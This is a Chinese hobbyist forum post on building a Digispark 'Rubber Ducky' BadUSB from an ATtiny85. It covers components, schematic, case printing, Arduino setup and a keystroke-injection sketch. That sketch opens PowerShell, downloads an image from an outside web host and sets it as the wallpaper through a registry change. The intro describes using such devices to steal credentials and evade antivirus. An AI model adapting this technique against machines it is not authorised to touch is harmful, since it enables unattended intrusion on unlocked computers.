风筝
发表于: 2020-12-17 12:01:19 | 显示全部楼层

USB Rubber Ducky或Bad USB是一种著名的攻击工具,它看起来像U盘,但是插入任何未锁定的设备时就像键盘一样。 USB Rubber Ducky允许攻击者对USB设备中的微控制器进行编程以执行各种任务。可以对其进行编程,将击键和二进制文件注入系统,获取缓存的密码来入侵系统,窃取受害者的凭据数据,并可以向受害者的系统注入rubber ducky payload。 USB Rubber Ducky的最重要功能是,它充当HID设备,因此任何防病毒或系统防火墙都无法检测到它。


USB Rubber Ducky并非在每个国家都容易获得,而且价格也非常昂贵。因此,在本篇文章中,我们将使用ATtiny85单片机来制造一个Digispark Rubber Ducky。该项目包括两部分,第一部分是在ATtiny85上传引导加载程序,第二部分是将USB公头与ATtiny85连接。


制作USB Rubber Ducky所需的组件

●    ATtiny85微控制器

●    USB A型插头

●    3个电阻(2×47Ω和1×1KΩ)

●    3个二极管(2×齐纳二极管和1×IN5819二极管)

●    8引脚IC基座

●    连接线


USB Rubber Ducky电路图

下面给出了ATtiny85 Rubber Ducky USB的示意图。

ATtiny85-Rubber-Ducky-USB-Schematic.png


R3是一个上拉电阻,连接在IC的Vcc和PB3引脚之间,同时添加了齐纳二极管(D1-D2)以提供USB接口保护。这些保护二极管不是必需的,因此,如果您要构建比这更紧凑的电路,则可以将其卸下。


将所有组件焊接在万能板上之后,其外观将如下所示:

ATtiny85-IC.jpg


3D打印ATtiny85 USB的外壳

接下来,用游标卡尺测量设置的尺寸设计外壳。完成后,设计如下所示:

3D-Printed-Casing-for-ATtiny85-USB.jpg


对设计满意之后,我将其导出为STL文件,根据打印机设置对其进行了切片,最后进行了打印。 STL文件也可以从Thingiverse下载,您可以使用它打印自己的外壳。


打印完成后,完成连接,我将电路板组装到了机壳中,所有组件都非常合适,如下所示。

ATtiny85-USB.jpg


安装Digispark驱动程序

要使用USB对ATtiny85进行编程,必须在笔记本电脑上安装Digispark驱动程序。如果您没有它们,可以通过单击Digispark驱动程序链接进行下载。然后,解压缩该zip文件并双击“ DPinst64.exe”应用程序以安装驱动程序。


成功安装驱动程序后,将ATtiny85电路板插入笔记本电脑。现在,转到设备管理器,您的设备将在“ libusb-win32设备”下列为“Digispark Boot-loader”。如果您无法在设备管理器中找到“ libusb-win32设备”,请转到“查看”并单击“显示隐藏的设备”。

Installing-Digispark-Driver.png


设置Arduino IDE

要使用Arduino IDE编程ATtiny85开发板,首先,我们需要将Digispark开发板支持添加到Arduino IDE。为此,请转到文件>首选项,然后将以下链接添加到Additional Boards Manager URLs中,然后单击“确定”。

http://digistump.com/package_digistump_index.json


Setting-up-Arduino-IDE.png


之后,转到工具>板>板管理器,然后搜索“ Digistump AVR”并安装最新版本。

Digistump-AVR.png


安装后,您在Board菜单中看到一个名为“ Digispark”的新条目。

Digispark.png


为橡皮鸭USB编程ATtiny85

安装驱动程序并设置Arduino IDE之后,现在我们将对ATtiny85进行编程,以下载图像并将其通过Windows PowerShell设置为墙纸。在这里,我们解释脚本的一些重要命令。


首先在代码中包含“DigiKeyboard.h”库。 DigiKeyboard库使ATtiny85可以通过其微型USB端口将击键发送到所连接的计算机。

  1. #include "DigiKeyboard.h"
复制代码

然后在loop函数中,发送击键以显示桌面(Windows + D),一段时间后,通过发送Windows + R击键打开“运行”对话框。

  1. DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  2. DigiKeyboard.delay(500);
  3. DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT)
复制代码

然后使用DigiKeyboard.print()函数转到Windows Powershell。

  1. DigiKeyboard.print("powershell");
  2. DigiKeyboard.sendKeyStroke(KEY_ENTER);
复制代码

现在在Powershell中,使用System.Net.WebClient类下载Internet数据。

  1. DigiKeyboard.print("$client = new-object System.Net.WebClient");
  2. DigiKeyboard.sendKeyStroke(KEY_ENTER);
复制代码

然后在下一个命令中,输入带有文件名(hacker.jpg)的图像地址,以将其保存在笔记本电脑上。

  1. DigiKeyboard.print("$client.DownloadFile("https://cdn.hipwallpaper.com/i/50/39/7r5nC6.jpg" , "hacker.jpg")");
  2. DigiKeyboard.sendKeyStroke(KEY_ENTER);
复制代码

然后在接下来的代码中,打开控制面板并将下载的图像设置为墙纸。

  1. DigiKeyboard.print("reg add "HKCU\\Control Panel\\Desktop" /v WallPaper /d "%USERPROFILE%\\hacker.jpg" /f");
  2. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  3. DigiKeyboard.delay(500);
  4. DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
复制代码

测试ATtiny85橡胶鸭

完成这些步骤后,创建一个新的草图,然后在IDE中复制并粘贴给定的代码。然后选择“ Digispark(Default – 16mhz)”作为板卡类型,然后单击左上方的上载按钮。编译草图,然后Arduino IDE将提示您在60秒内插入ATtiny85 USB。

Programming-ATtiny85.png


插入ATtiny85 USB后,Arduino IDE将代码上传到微控制器,然后执行微控制器给出的命令来更改笔记本电脑的墙纸。这只是USB Rubber Ducky的工作方式的一个示例,但是通过它可以完成很多事情。


以上就是使用ATtiny85来运行Digispark Rubber Ducky脚本的方式。如有任何疑问,请随时在本贴下面回复。

跳转到指定楼层
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

主题 32 | 回复: 41



手机版|

GMT+8, 2024-3-28 19:46 , Processed in 0.255976 second(s), 8 queries , Gzip On, MemCache On. Powered by Discuz! X3.5

YiBoard一板网 © 2015-2022 地址:河北省石家庄市长安区高营大街 ( 冀ICP备18020117号 )

快速回复 返回顶部 返回列表